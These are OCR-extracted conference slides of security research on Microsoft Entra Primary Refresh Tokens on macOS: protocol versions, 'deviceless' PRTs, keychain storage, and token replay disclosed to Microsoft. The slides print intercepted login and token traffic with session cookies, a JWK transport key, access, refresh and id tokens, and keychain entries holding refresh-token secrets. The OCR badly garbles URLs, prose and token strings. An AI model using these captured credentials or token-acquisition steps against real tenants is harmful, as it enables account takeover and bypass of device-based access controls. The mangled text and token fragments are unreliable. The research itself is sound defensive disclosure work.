


What can you expect from this story

PRT Refresher Sorry, no 0-day
What are Primary Refresh Tokens and That's at least what we thought, until
how does one acquire one. Microsoft wanted a call..

. ... turns out they deemed it to be a
PRT protocol versions sififisal ene.
The facts may be different than the R
documentation on the Microsoft site. So, sorry not many demos "\_(*/)_/

Secure Enclave

Microsoft using the TPM on macOS,
mostly..



This book belongs to...

I'm Olaf, | like warm hugs and am a Detection engineer
and Security Researcher at FalconForce.
Follow me at @olafhartong to learn more.




This book belongs to...

I'm Dirk-Jan, and I'm a Security Researcher at Outsider
Security. Follow me at @_dirkjan to learn more.




Once upon a timeline

Initial finding Picked up research Secure Enclave

Dec 2022 April/May 2024 May 2024
Deviceless PRT Refined the Discovered
found and research and PRTv4 and added
managed to tooling. Reported support to tools

abuse it to MSRC
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Quickfix Quinn Pathfinder Paws Sir Block-a-Lot King
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_ Abuse and replay of Azure AD refresh token from Microsoft
Thomas Naunhein Edge in macOS Keychain

Abuse and replay Of Azure AD refreSh tOken from M|CrOSOft Edge Microsoft is using Keychain to store cached Azure AD tokens for “logged in"

. . Edge profiles on macOS devices. Apple’s integrated password management
| n m a COS KeyC h a | n system offers “encryption at rest” and buift-in security features. Nevertheless,

options to exfiltrate user's token and abuse them for token replay attacks

httpS//WWWC|0Ud'arCh|tektnet/abuse-and'rep|GY'aZUread-tOken-maCOS/ should be considered. In this blog post, | liketo give an overview about the

potential attack scenarios and some security considerations.
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Overview of the sign-in, token cache flow and potential replay attack paths on macOS devices



PRT Refresher

What are Primary Refresh
Tokens and how are they
acquired?



Tokens on unmanaged Windows hosts

>
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ens )
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Teams (client) (resources)




Tokens on managed Windows hosts

Sign in

Request PRT usage

Entra ID
Token broker STBIEEE
(\5
\0\(3 Teams backend services
00666
Req/recv SharePoint
tokens

(resources)

Teams (cllent)




Primary Refresh Tokens

In general
Primary Refresh Tokens are Single Sign On tokens
Can be used to sign in to any application and any Entra connected website
Links a user identity to a device identity
- Is used in Conditional Access to enforce device based controls (compliant/hybrid joined/etc)
Needs a session key to operate

On Windows
Session key is protected by a Trusted Platform Module
PRT is always bound to a device




Token Hierarchy

Refresh Tokens

Token issuance flow

Access tokens




PRT protocol versions

Windows uses PRT protocol 2.0.
Then Microsoft decided to support macOS....

...and they added PRT protocol

v3.0 and introduced a
DEVICELESS PRT




Device registration - cryptographic keys

Windows
Device certificate (Entra signed) + private key (RSA key)
Transport key (RSA key) — sent as BCRYPT_RSAKEY_BLOB

On macOS (PRT v3)
Device certificate (Entra signed) + private key (RSA key)
Transport key (RSA key) — sent as JSON Web Key (JWK)

JWK specs written by Microsoft employee Michael Jones
https://datatracker.ietf.org/doc/html/rfc7517



https://datatracker.ietf.org/doc/html/rfc7517

PRT request and broker mechanics - Windows

Authentication material

Device key signed payload

>

Entra ID

PRT +
Transport key encrypted
session key

Session key encrypted

Session key signed token response

payload with PRT

JWE https://datatracker.ietf.org/doc/html/rfc7516




PRT request and broker mechanics - macOS

Login

Authorization code + public
transport key

PRT +

Transport key encrypted
session key I

PRT + device key signed
payload

Entra ID

Session key encrypted
token response

PRT (with device ID) +
Transport key encrypted
session key

Session key signed
payload with PRT



PRT protocol version 3.0 - usage

Implementations we have analyzed:
Edge SSO
Uses deviceless PRT directly for SSO after signing in to Edge

Intune macOS SSO Extension
Uses device-bound PRT that is obtained via deviceless PRT

Other platforms, like android and iOS, are also known to also utilize this.




PRT protocol version 3.0

Edge on MacOS has Single Sign On capabilities — using the deviceless PRT as an SSO

mechanism

3143  hitps://aadcdn.msftauth.net GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_2uelas7mkd11cdrhegqs5a2.js 200 49114 script is v 152.199.23.37 14:17:45 14 Dec ...
3146 https.//assets.msn.com GET /bundles/v1/edgeChromiumAatest/shoppingHomepage.ac16ffcde821507 12801 js 200 6865884 script is v 23.73.4.96 14:17:45 14 Dec ...
3193  hitps:Mogin.microsoftenline.com POST feommon/iogin v 200 73169 HTML Sign in to your account v 20.190.159.70 ESTSAUTHPERSISTE... 14:17:50 14 Dec ...
3201 https:/aadcdn.msftauth.net GET /shamdh OlcomonMleonvofgodSA_Cao hEUBZ4]pyOthY|cmP5cGw2 s 200 311587 script s v 152.199.23.37 14:17:51 14 Dec ...
==
m Inspector
Request Response
Pretty Raw Hex _”E n = Pretty Raw Hex Render N = Request attributes

1 POST /common/login HTTP/1.1

Host: login.microsoftonline.com

3 Cookie: wlidperf=FR=L&5T=1671023880201; clrc={%2219341%22%3a[%2245)F/00a%22%2c%220ZwqeA8Y%22]}; brcap=0; esctx=
AQABAAAAAAD—DLA3VO7(Qrddglg7WevrNesaZWX_00LOZfFhsc_NOhwF66tI51J7Z1AmDKLjne_FMCROu090-x9SsRY0JdHvmSY 1livuB46- xzs)douCuIa0H460bT8K
KI3YbpbKQcBP736H410GMyMKrBtPegigQSacknVMOeBiwlwMiN1eFBgSt jBPVVL
kKkZ2GGBYEX2AQgAA; buid=
@.ASUAMe_N-B6]jSkuTSFOXHpEIWiC41uzCMrZImKZERTD1p30BAAA. AQABAAEAA)
Rrb2XYUntCo8urPalHZtXiIvE2zPy7CC_clbbR90I179X_sEFC3n9pBflemTuledg8gAA; fpc=AgBVoHzgl)BEMPDKn2uRT fN_WQQMAQAAAPZDK9SOAAAA;
stsservicecookie=estsfd; x-ms-gateway-slice=estsfd

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,+/%;q=0.8

5 Content-Type: application/x-www-form-urlencoded

Origin: https://login.microsoftonline.com

7 Content-Length: 1834

& Accept-Language: en-GB,en;q=0.9

G5 User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/605.1.15 (KHTML,

10 Referer: https://login.microsoftonline.com/

11 Accept-Encoding: gzip, deflate

12 Connection: close

N

like Gecko) PKeyAuth/1.0

14 113= 0&login-olaftesting%40falconforce.io&loginfmt=olaftest1ng%40falconforce.io&type=11&Login0ptions=3&1rt=&1rtPartition=&
hisRegion=&hisScaleUnit=&passwd=% u x = Sps=2&4psANGCDefaultType=S&psRNGCEnt ropy=&psRNGCSLK
-&canary-FVNev)%2F5thwT\2BTKHthX%ZBJZVanfST1k2TdSSvEZNk%301%3A1&ctx-
rQQIARAAIVIPaNNgFO-XtF1XZidbiOxUsAexJE2TICBMInbTOrXFpbZrEebXL1-a2CRFTAKmOCqI4EVERSZ42EX0Sbwou-hpYEB92t28CorHetKWs ft—PHE8x4P3e72
fCAYSLMdyMYTTGLfSaBUKrtE8y-WiGMmpVobnGIFHPCNmWy kmm4 EpRhTFpMDhIEynobUaDK9%e_9XqIvit-_~1e9 _KYAR1B027Dkqi4 jBGhqyiE@Uh8VyGxsQ5eLxRT
P-GYAJAC-0dalDxcG2o5ntTOXqiJgKsREBMNXIA-bDI3CTiMgNiumSEae6TASTMOx33k8roqQINzM7s9qVZK2 rJRbGLUAO0tdOKBE~piITBX4RIELG2IRISUDAXALPiIUG
F12ho- Of7600cwxXYFDGO1aRNF0HCGKomsm3ocIYdu0kC42NT1ynolesYK70ndeocemm85SZeBNN7K00Cnsue10quufLBOIrYWpszngDe 6fT19MnS75ebr Yf

= . - o= =F i {
qudMVNhoDJ2Bkb2g’ZB79bsVbeyvL5TT3T64ochFkJBZdVaCPVIgae19TXCSSZGNnBJ PpOadfngI&hpgrequestxd-
860996d9-ee07-4094-955f-603dc64583034F lowToken=

AQABAAEAAAD-—DLA3VO7Qrddglg7Wev rgw-ropMfx4NGGWIb3c3nZuwdPledwgy rpTn7 IKfFBfwgklfCnnSRUZ5D065G20s 7KxNUo4 JNMGsUEx 1BqtHOVXRvmXZ-whB2A

JyayﬁHlpBlkanStBkIlS1020VthoE chdpraawﬁSUyBNP)LC wkZdLBVjM@5AapuGYv3-2BUyWVDOIXuLX-qZlaiz2Dkxd46U1TvB- L7BlHLNN80L6voIEy1Vv1L

— s a‘ ¥ “

b7BHVbGQOMOq4GQLE_eKv GD)78de0Lwr7sth7J FHyvegyBaleAV ZgUwatKSILIcthcrcgoX59Y4 EdGMRqVVXdTbBO 786aoYfEH8ySGThTqu4fNaU -8-54

IMgOE9370530QqheeMrtRm53426yD_UKpy0ivAeINUG3dkFAIZP1 ] Iav00aloyb@6vtqTeRrzLpbwec2 TRNhKIDpRNXBwox IThAKMKEIAASPPSX=NewUser=18&

FoundMSAs=&fspost=08i21=0&CookieDisclosure=0&IsFidoSupported=2&isSignupPost=0&isRecoveryAttemptPost=0§119=9936

S
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w
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HTTP/1.1 200 OK

Cache-Control: no-store, no-cache

Pragma: no-cache

Content-Type: text/html; charset=utf-8

Expires: -1

Vary: Accept-Encoding

Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content~-Type-Options: nosniff

X~Frame-~Options: DENY

Link: <https://aadcdn.msftauth.net>; rel=preconnect; crossorigin

Link: <https://aadcdn.msftauth.net>; rel=dns-prefetch

Link: <https://aadcdn.msauth.net>; rel=dns-prefetch

X-DNS-Prefetch-Control: on

P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"

x~-ms-request-id: 2aaeaded-d6cf-4ffd-baeb-81ab7¢064308

x-ms-ests-server: 2.1.14357.7 - WEULR1 ProdSlices

X-XSS-Protection: @

Set-Cookie: ESTSAUTHPERSISTENT=

@.AVBAMe_N-86]SkuTSFIXHpE \WWiC41uzCMrZImKZERTD Lp30BAAA. AgABAAQA

VNmzE fu2WMV3EJAKsXW8yg5_dGL_gqSY928vR-PEKKkTwWD2BYmQAGj t5-jMOZMAL
9dQKR9cMFzlhngUULZquToCxeBcwlb)ZGGNZNZNIdLSVlSmRL135KoEw0F7R6LL o

4] =r m- N
domain=.login. m1crosofton11ne com; expires=Tue, 14-Mar-2023 13:18:00 GMT; path=/; sec
Set-Cookie: ESTSAUTH=

0.AVBAMe _N-B6jSkuTSFOXHPE IWiC41uzCMrZImKZERTD Lp30BAAA. AgABAAQAAAD-—DLA3VO7Qrddglg7w
sWBgcvCUBIYrm_ Zde92C)Fp—L1bxfmU]I4P -Hd vQHtC]OJBTRTodthYSQXDOff -30a3s8xEctnbN4S3

]

Request body paramete

Request cookies

Request headers

. -t aa 3 . : »
7SMBRhk6QILNstcOcUbLYS_odNfDly3Yelqdslenjo2- x2qu9tV1zDeRmbUqu0Y5907yuprP1J9
ImbHO1TEPxWUjHql9zbSwOKsDLubrLWW2dwWEMVB4 fpNPNOYCtnWbCzvUBdOw7 s6WBRK2K0o81018B
mQWj7k4fHelZhPU; domain=.login.microsoftonline.com; path=/; secure; H
Set-Cookie: ESTSAUTHLIGHT=+816ff6a2-e67f-4f3e-957c~7531e48%f0d;
Set-Cookie: ch=B21gXrKUQkIRgdWixa-7a7MCjp9ZeuMRhfiDr9zw08E; dqg,
13:18:00 GMT; path=/; secure; SameSite=None

Set-Cookie: ESTSSC=89; path=/; secure; HttpOnly; SameSit
Set-Cookie: buid=

0.AV8AMe _N- B&JSkuTSFQXHpE1w1C41uzCMrZJmKZERTDIp3oB
W - ) =
HttpOnly; SameSite=None

Set-Cookie: fpc=AgBVoHzgljBEmPDkn2uRTTN_WQqM
path=/; secure; HttpOnly; SameSite=None

» e -
. .



PRT protocol vei

Send:

» Special authorization code
« On-the-fly generated RSA key

Receive:
* Primary Refresh Token

stk_jwk=

H
3221 httpsy
Request

Pretty Re

1 POST /c«

2 Host: U
3 Cookie:
0. AVBAM¢
NmzEfu2y
9KRICMF;:

B21gXrki
0. AVBAM¢
XC1Dbazy
e ant V]
brcap=0;
Content-
X~-Cliend
X-Client
Accept:
Accept-l|
Arcent <}

poO~NNOYWUD B

%7B%22e%22%3A%22A0AB%22%2(%22Kty%22%3A%22RSA%22%2!(
BONriNOX6j5AZzKy-56_1idq—-gEg1JD-Qk3L02tdVyZDz1Q9rVI
rA82BB8eDxn01G97A03DLcNIg81_iD3igq04W7ZcYwyyt1V6KU-

qSnXyvbNFYdcqRLTwh-
ecd6b820-32c2-49b6—-
S_kLPVM3zeBaGszSGb
aza%20profile%s20o0ff
0.AVB8AzUIqqYy_ukaqTr
8 rXewhAnBg_YcwwE5 CM¢
USKvmwb7L1MsgAjFq50.

{"e":"AQAB","kty":"RSA","n":"5Vp1Fz-
sHLODZeGpWIQIBONriNOX6j5AZzKy-5¢
r-OulcbaMHniotjZONFu9YUT4qeAPVpT
LcNJg8l_iD3iq04W7ZcYwyyt1V6KU-BF

krDGi-cPzhAtwVdkfdA_0Ydxn94bk94VRH8yT-httESzdKPa9.

onyuv i Jgn
nBiv_j_1
nv9azqti

Response

Pretty
9
20 {

“token_type":"Bearer",
"scope":
"email openid profile 00000003-0000-0000-cP00-000000000000/Files.ReadWrite 00000003-0000-0000-c000-0000000V0000/Files.ReadwWri
te.All 90000003-0000-0000-c000-000000000000/Notes.Create 00000003-0000-0000-c000-000000000BPA/Notes.ReadWrite 00000003-0000-0
000-c000-000000000000/Notes.ReadWrite.All 00000003-0000-0000-c000-000000000000/People.Read 00000003-0000-0000-c0B0-D000000000
00/User.Read 00000003-0000-0000-c000-000000000000/User.ReadBasic.All 06000003-0000-0000-c000-000000000000/.default"”,
"expires_in":4915,
"ext_expires_in":4915,
"access_token":
"eyJ0eXAi0iJKV1QiLCJub25jZSI6InVSYnRDeHdMa@VBQKRjNOGxSWIiM2 IBMFFfYkwyML1FbnkxQ1dZRGtsRUKiLCIhbGci0iJSUZTIINiIsIng1ldCIBIi1LSTNR
OW50UjdiUm9meGl LWmOYcWIIWkd ldyIsImtpZCIBIi1LSTNROWSOUjdiUmOmeGl LWm9Y cWIIWkd ldyJ9. eyIJhdWQi0iIwMDAWMDAWMY@WMDAWLTAWMDALY ZAWMC Bw
MDAWMDAWMDAWMDALLCIpc3MiOiJodHRwczovL3NOcy53aW5kb3dzLm5 LdCOhOTIANDIJZC11iZjhjLTQ2YmETYWEGZSO2NGNiLYz L IMDMwZDkvIiwiaWF@IjoxNjcxM
DIZNTKOLCIuYmY1i0jE2NZEWMiM10TQsImVAcCIOMTY3MTAYODgXMCwiYWNjdCIGMCwiYWNyIjoiMSIsImFpbyI6IkFWUUFXxLzhUQUFBQW10V1JHRW1BNKV4AQzIBaV
FRYK1DM@xuNXhVRHVDR2VMOEM4AWVBaWnFrk2dqQUNsMTFKQnITOHFQVUMS5c@1ab@VhSTkrUXQ1Sw8yYWFIVTVQWHIFNFZ0QUhzSFZ3Rz IMdEBOem1TL1VRRXRBPSI
sImFtcilbWylwd2QiLlCItZmEiXSwiYXBwX2Rpc3BsYXTuYWIlIjoiTWljcm92zb2Z0IEVKZ2UiLCIhcHBpZCI6IMVjZDZi0DIWLTMYYZItNDTINiIiOS0GE2LTQONDUZ
MGUIYTCc3YSISImFwCGLkYWNYIjoiMCISImIKkdHIwIjoidXN1ciIsImIwYWRKCII6GTYILIxLjIXNCAxNZzTIiLCIuYW1lIjoib2xhZiBtYWMgdGV2zdCB1c2VyIiwib
21kIjoiZmU4ZDAINDGtMTLjYSOONjIOLTg2ZDMtOGZIMDE2ZWI4MjUzTIiwicGxhdGYi0iI1TiwicHVpZCI6T j EWMDMyMDAYNTKkZRUZGRKELLCIyaCI6IjAuQVY4QX
PVSXFxWX1fdWthcVRtVEX5ZUF3M1FNQUFBQUFBQUFBdOFBQUFBQUFBQUIMQUSRLAISINN] cCIGImMVEYWLSIEZpbGVZL1ILYWRXcm1@ZSBGaWx Lcy5SZWFkV3JpdGU
uQWxsIESvdGVzLKNYZWFOZSBOb3R Lcy5SZWFKkV3JIpdGUgTmI0ZXMuUmVhZFdyaXR1ILKFsbCBvcGVuaWQgUGVveGx LL LI LYWQgcHIvZmlsZSBVc2VyL1I LYWQgVXNL
CiS5SZWFKkQmFzaWMuQWxsIiwic2 lnbmLuX3N@YXRIIjpbImlua25vd25udHdrI1@sInN1YiI6I1AIRjBRAUSTcm1ONKdSUVN1Z2pNWHASdnFOd@dKMGpzWEFUdTVG
XdYdeuilLCJOZwWShbnRfcmVnaWOuX3Njb3B1IjoiRVUiILCI@aWQi0iJhOTIANDIjZC1iZihjLTQ2YMEtYWERZSO2NGN1Yz 1 IMDMWZDKiLCI1bmIxdWVfbmFtZSI6Im
9sYWZOZXNOaWSnQGZhbGNvbmZvemNILmlvIiwidXBuljoib2xhZnR1c3RpbmdAZmFsY29uZm9yY2UuaW8ilCJ1dGki0iJShTRWT1R1ZUUwWaVRYWFZ4TTdKQUFBI iw
idmVyIjoiMS4AwIiwid2lkcyI6WyJiNzImYmYOZCOzZWYSLTQ20DktODEOMY@3NmIXOTRIODUIMDKiXSwieG1zX3NOIjp7InN1YiI6I1ZTbDV4eU10Z1]jeHcOYmO1
VXdVMUNTR1gz0OGVvX@1GTDhSNNZ4Wk lebncifSwieG1l2X3RjZHQi0jE10TAxMzAWMzAsInhtc190ZGIyIjoiRVUiLfQ. cHsabMs5axwWijI4eBd4wzHSQDFECMeOuy
@roq76bd8b5dEVYwx ] 9vxAhSVITVF_Gy9jvR5Fo6YTvIcINuxwVoWemxpLGrv3THFgNt4UbMYcnsNnCAhmkIKSpUaGwS46PYf_JNMuB4 LFAZF2Dsy459KwltVWYkz
)

Render =9 \n

Raw Hex

"refresh_token":
"0.AVBAZUIqqYy_ ukaqTmTLyeAw2SC41uzCMrZImKZERTD 1p3pfANQ. AQABAAEAAAD—DLA3V07Qrddglg7WevrAgDs_wQA9PBU7XEMG22zVYMghbX2WhnggmZygqHR
9yITZdMOKc1DBqdtRIUU1ZjFTAmaj joOTWh4z jkGEKIZTqlY@cYuRmzS8ZnUbelteUdU3SmDwtWNTXN210Ht21S1K8UjufZKHr5Qml13Mso68yvA3pAk2mL14Vy_D
hBoXEsbRyZhgLwpyA8 fBMWtbOcTAMBHj-TpS1JzPq7LsFh2hc33dI8IUsYqdHH2LGtLtC5ZZ1PCpmNmgPXxCL-04icIwg]jtxk@vnFmlYnazproAeKm6CoHx1EE_Gi
6 LsQomUyKU7_FYcm8XSYUA6ZMNh1fg-L4MHWshM11nJIBEScQ-uP8j0_qZqpmK2i65dc LFhGMB8gHgAQNZzRukS5Liar8IY3cK1kbIoMxBWI1ZnS_7yfZbymHvSUi98-L
6B54H2by IDW5179VUasKRQvITFILt17rQZBzgCveGuLrRdn@7 rD4DPCvybE1ANYaJ1vIAFVSZVINATPIE4X~2z7FiLsYqALeILoqlL2BOQAWBNQz7mHMhbfI7Zz0tMPY
0iqgfEwCaFP1IMODdY6DuKco8] fSOSKKgcgLEu7e09D04FDs fw8—_J1kCoR4fOL6WXvY19qiWpUiWjt1tSxnKLGCvaMkMteMEwPaMbWzWk7 i VBwM4cOgbUlhyEjwg
207 1vWBsksbKZ8XTVgMCQFSg9_eghOpcK4YpWNxtFgB3SKS 1lgxraZGGIKiXhdF1Z905¢c0ztvbY-ekqx3ZNm5Px_cTmaAHHPPALHXB6K8wA-C4 f rbqZwwy LhyRDXwX

“refresh_token_expires_in'":1209599,

“foci¥s ™%,

“id_token":
"eylOeXAi0iJKV1QiLCIhbGci0iISUZIINAIISImtpZCIGI1i1LSTNROWSOUjdiUm9meGl IWmOYcWI IWkdldyJ9.eyIhdWQi0iJ1Y2Q2YjgyMCOzMmMyLTQ5YjYtO0Th
hNi0@NDQIM2zBINWE3IN2EiLCIpc3MiOilodHRwezovLl2xvZ2lulmlpY3Jve29mdGOubGluZS5ib20vYTkyYTQyY2QtYmY4Yy@ONmIhLWFhNGUtN R YmMSZTAZMGQS
L3YyLjALILCIpYXQiOjE2NZEWMiMI0TQSIMSiZiI6GMTY3MTAYMZUSNCwiZXhwljoxNjcxMDI3NDkOLCIhaW8i01iIBV1IFBcS84VEFBQUFYODBTTmhCbO9XcnhLWkUzW
G93TWtHU3dtaFNYcOFqQUsvSHQ2d1ZjTzYwczdLODN4Q2s rcGwde jdXRzdWYXhKV1JQalROcXVANXRGY z LSVThmMGVURDhVZE] rM1VTZDBSK1hRNzBjSzBuVT@iLC
JuYW1lIjoib2xhZiBtYWMgdGVzdCB1lc2VyIiwibm9uY2Ui0iJSdzhTWVhvQjJIBOXVOd3F3MmxoNGFuaXc4UnVTVKkMtZ2RtQ1plY3Z0SGI3Iiwib21kIjoiZmU4ZDA
INDgtMT1jYS@OONjIOLTg2ZDMtOGZ IMDE2ZWIAMjUzIiwicHI LZmVycmVKX3VZZXJuYW1lIjoib2xhZnR1c3RpbmdAZmFsY29uZm9yY2UuaW8iLlCIwdWlkIjoiMTAw
MzIWMDI10TNFRKZGQSIsInJoIjoiMC5BVihBelVIcXFZeV91a2FxVGIUTHL1QXcyUaMOMXVE6Q01yWkptS1pFULREDHAZCGZBT1Euliwic3ViIjoiVINSNXh5SXRnU
mN4dzRibTVVd1UxQ19HWDM4ZWI fSUZMOFI2dnhaSXpudyIsInRpZCIG6IMESMMEOMMNKLWIMOGMENDZAYSIhYTRILTYOY2] jOWUWM2zBKOSIsInVRaSI6In LtNFZOVH
VIRTBpVHIYVnhNN@pBQUEiILCI2ZXIi0iIyLjAifQ.EKNd5@oHteT3Xr71jKkV5Brop2AV2-sdIViQ-c2ns1BbMPAuUagZ04VyyVdx7rallvuC6UL2z43XbdRgpIREXuy
Ux1IxbmV7anu-mb3A8dxyVK9iwRziab0SiwNupyvcK0s34hhiBvikWal0JLl NJ4fNJ@-Tf6VhMTRGbocctKo1@LKOkmIioE GB—Vn10n?P6bQB7OZt40hzk5REFJr

“client_info":

"eyJ1aWQi0iImZThkMDUGOCOxOWNhLTQ2MjQtODZKkMy@4ZmUwMTZ1YjgyNTMiLCI1dGlkIjoiYTKkyYTQyY2QtYmY4Yy@ONmIhLWFhN

’

"session_key_ jwe":

"eyllbmMiOiJBMjU2RONNI iwiYWxnIjoiUINBLU9BRVALTQ. kpZVAmiICcwNIqVcbsPNCIxrVaYDTh56jtUpzRPfEKsp76)7HsZpKMuH_Kgbt@xe-gqmoDTBO9QxUn

3W8jKoww9zbcxNGRDK11Sbnj F4x4k-NEdS2TbnUIiqv6FH_op7BfIMh_XsFwkPOS@RjC8Vrg6DZ-3dPWgzyb5X]jY6)jkRAmLdfOF6p70qvQo7V2AamiUij ldTkY~Hg
v iHmn i w=Nel1?7P41P JAHMSKYAAN ruMK 3dchRyManchR 101 1 WSy 7P rdaMfak1_EYvxnvkY rBP4B3_0-zRm~tt TYFBXEvnNgXbd-alM1WwWlWxroSRFDtvk11LwQ

} s
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PRT protocol version 3.0 - "'~

Using the PRT in protocol v3 is very similar
as PRT broker flow on Windows.

Token request contains PRT, and is signed
with the session key.

Response is encrypted with the session key,
ensuring the tokens cannot be obtained
without this key.

1265 JSON v 20.190.159.7
204 904 o/ v 40.79.189.5¢
200 6837 text 20.190.158.
200 6716 text v 20.190.159.7

Response

00~ O W B W

S W

b b e b
SW N

=
~ oy Win

N b e
o WO 00

Raw Hex Render

HTTP/1.1 200 0K

Cache-Control: no-store, no-cache

Pragma: no-cache

Content-Type: application/jose; charset=utf-8

Expires: -1

Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff

P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"

client-request-id: ae340a67-a75c-4e2c-b363-f@cl2c6e4399

x-ms-request-id: ca823310-a59e-4845-alea-4d3ae8971900

x-ms—-ests-server: 2.1.14357.7 - NEULR2 ProdSlices

x-ms-clitelem: 1,0,0,2732.7983,

X-XSS-Protection: @

Set-Cookie: fpc=AqBVoHzgljBEmPDkn2uRTfOtngltAQAAABDEKSSOAAAAVYUECWEAAAAYXCvDDGAAANYUSYEBAAAAFSQr2wdAAAA; exp
13-Jan-2023 13:18:17 GMT; path=/; secure; HttpOnly; SameSite=None

Set-Cookie: x-ms—-gateway-slice=estsfd; path=/; secure; samesite=none; httponly
Date: Wed, 14 Dec 2022 13:18:16 GMT

Connection: close

Content-Length: 6007

eyJhbGciOiJkaXIilLCI1bmMiOiJBMjU2RONNIiwiY3R4IjoiYnR40XhFaHpvQ3RON2d4UXgO@dEXIS3hobHNOYytyNmwifQ. .ORLKvo7vTB12
KoQRvZ5m1nATc7UOAEGYZ1ZyIWq7K_GN4IRefz2A2tv08DSIXhkyja3FVAPY1K6AciD1P4J1-HT1A5QUBvgIudvIfxul4qpOVSKFStxAcinc
S5qbNE_-j-a64fz4fUzz-bM313mRhiM4jul fg8UYIVwgVtInb_yIGUU3r7p7cYh7JkahDSFj4ys2XVIRSOxqIG-IqpcFOLCnp0O1lITO095v]j]id
¢cSJ4b91_sZWfDzzCo@3E84wAVOUlkxs6704EfwyZdr_e-JQyHOghWH7k@Sawb1d210D0Se93gZ1-kumtb6oPmLm5-ZHiDNXYsyqxJkXN2I2tg
OwXFNgOrvd_4PaMiqmYsEPqgpHp8vIOKXvQhjHiiHNnjHYKrNV]jYi9bMUeKzCSSCcTeY-79xNISGrHuFUVWQUCR_X3eooysvKHHF49ToUCVD]
ZbDjYOBa3jsP-AwFWrEj_Ké6rpAtZLLIvz-sXMieF-0pH542v4yAyRb3U8B6fGDoQhwNI1CzCQkAZVV_uo2LvcrIyGRIT3wplf_aSKWkSACCT
USKvN-dAXMEGRtUUMZ2Y-TcKwrU5DuxGZZE6bGo08mNHzC-DQMvwcQPd3T2f6gD24hm_cRfseSPc4t-vsiCgW2TTCSuww3nN-hbo4IfapEzD
xnuA4r2JAEX]IZsCAVOYSuswAZbAj FK-E5-KNG8qZpfTLO860umbHKZCv45_XMDRIat85bXYLYPXa7C40gznyBk7U3zS5D0XiskakhB1DzPuN
NbPhAj@QUDf2jDd-174jhdhKs rnNmzHaQuLT2ux flwy33GHGX_mMSGYZrRgcwq_LM-r2vWurx27-VmeoQLYI485XCiBjaIVnUi011GohaYjI
3MXOdHDOWTPALYT72NRwEV87jbISf_yQtSqfdxEwz_22sZj7])1v-SdD_1v3TZ1IGINORPkzyd04nnV6XMfwDDz_G93q5H6KkBPVvBCrvlec7sL
hcVLfkNotytVppX0qkNQz7g-0ru-QZ268Zq_1AZtGmLATh742NUuChSp69CzIyY1bOHdEZMvivZRsPk_MswcMENMy fUS1IV1g6I-1eqVQHUE
yy_16JInFLLvBUzd-tSZXpHho_kQqkXA05yi4M-n611442zVORMOgwfuPC7D64mcF50) ZPuGtmSIyPfedsIncOtWdimSXzKXxL6GHOLnWN fiEW
KA3ZXURbt4PO7wBXYtwCAFTEanyBnOKiIitRUT_gN-_2fNpA2ySGG7k8r9ETYycexRnCOMoA7uoz iN-Kms-aPJGSEUS-YCEDMDQq8Ss41PkHI
R e e T L s sharissaabas r



PRTv3 protection - Keychain only

®® Keychain Access 7 G

N
(&

Allltems Passwords Secure Notes My Certificates Keys Certificates
login
3 primaryrefreshtoken-1--
Local Items Kind: application password
Account: fe8d0548-19ca-4624-86d3-8fe016ebB8253.a92a42cd-biBc-46ba-aade-64cbc9e030d9-login.windows.net
Where: primaryrefreshtoken-1--
Modified: Yesterday, 10:07

@00

System -
4 @00 primaryrefreshtoken-1-~

System Roots Name

. com.apple.iAdIDRecords Attributes  Access Control
com.apple.iAdIDRecords

com.apple.iAdIiDRecords

. com.apple.iAdIDRecords . Name: primaryrefreshtoken-1--

com.apple.iAdIDRecords

a92a42cd-bf8c-46ba-aade-64cbcle Kind: application password

idtoken-0ec893e0-5785-4de6-99da- Y ¥

accesstoken-0ec893e0-5785-4de6-9 Account: feBd0548-19ca-4624-86d3-8fe016ebB8253.a92a42¢cd-bf8c-46ba-aade-64cbc2e030d9-login.windows.net
idtoken-2d7f3606-b07d-41d1-b9d2~(

accesstoken-2d7f3606-b07d-41d1-b9 Where: primaryrefreshtoken-1--

refreshtoken-2d7f3606-b07d-41d1-b!
refreshtoken-0ec893e0-5785-4de6-!
idtoken-d7b530a4-7680-4c23-a8bf-
_ accesstoken-d7b530a4-7680-4c23-al
refreshtoken-d7b530a4-7680-4c23~;
_ idtoken-ecd6b820-32¢2-49b6-98a6:
accesstoken-ecd6b820-32c2-49b6-9
. primaryrefreshtoken-1--
accesstoken-ecd6b820-32¢2-49b6-9
accesstoken-d7b530a4-7680-4c23-al
_ cpp-general-app-metadata-additiona
appmetadata-2d7f3606-b07d-41d1-b
_ cpp-general-app-metadata-additiona
appmetadata-d7b530a4-7680-4c23-
_ refreshtoken-1--

Comments:

v Show password: {"secret":"8.AV8AzUIqqYy_ukaqTmTLyeAw2SC41uzCMrZImKZERTDIp3pfANQ.AGABAAEAAAD--

_ cpp-general-app-metadata-additiona
. appmetadata-0ec893e0-5785-4de6-99da-4ed124e5296¢ application password Yesterday, 05:12
accesstoken-ecd6b820-32¢2-49b6-98a6-444530e5a77a-a92a42cd-bf8c-46ba-aade-64...tivity. microsoft.com/.default https://activity.microsoft.com/usersettings.readwrite.createdbyapp application password Yesterday *

_ accesstoken-ecd6b820-32c2-49b6-98a6-444530e5a77a-a92a42cd-bfBc-46ba-aade-64....api.applicationfintune.mam.registrations.write.all https://msmamservice.api.application/.default application password Yester
accesstoken-ecd6b820-32¢c2-49b6-98a6-444530e5a77a-a92a42cd-bfBc-46ba-aade-64...osoft.com/.default https://edgesync.microsoft.com/usersettings.readwrite.createdbyapp.secure application password Ye-

. accesstoken-ecd6b820-32¢2-49b6-98a6-444530e5a77a-a92a42cd-bf8c-46ba-aade-64cbc9e030d9-https:/faadrm.com/user_impersonation https:/faadrm.com/.default

NANNANNNNANNNNANNANANNNNNNNNNNNNNNNN

application password




PRTv3 protection - Keychain contents

IAT1D71

sr88IvQWpNo L3 LEpv]siWw
"external_key type":
"prt_protocol_version": "3.0",
"session_key": "IPgsCR5qSqmBR4
"credential_type"
"environment": "login
"home_account_id": "fe8
"expires_on": "17168815
"cached_at": "1
"client_id"
“expires_in"

\/1 C 1
\/ ] S
-V ~

appmetadata-d7b530a4-7680-4c23-a8bf-c52¢c121d2e87 application password Yesterday, 05:18 -~
refreshtoken-1-- application password Yesterday, 05:18 -
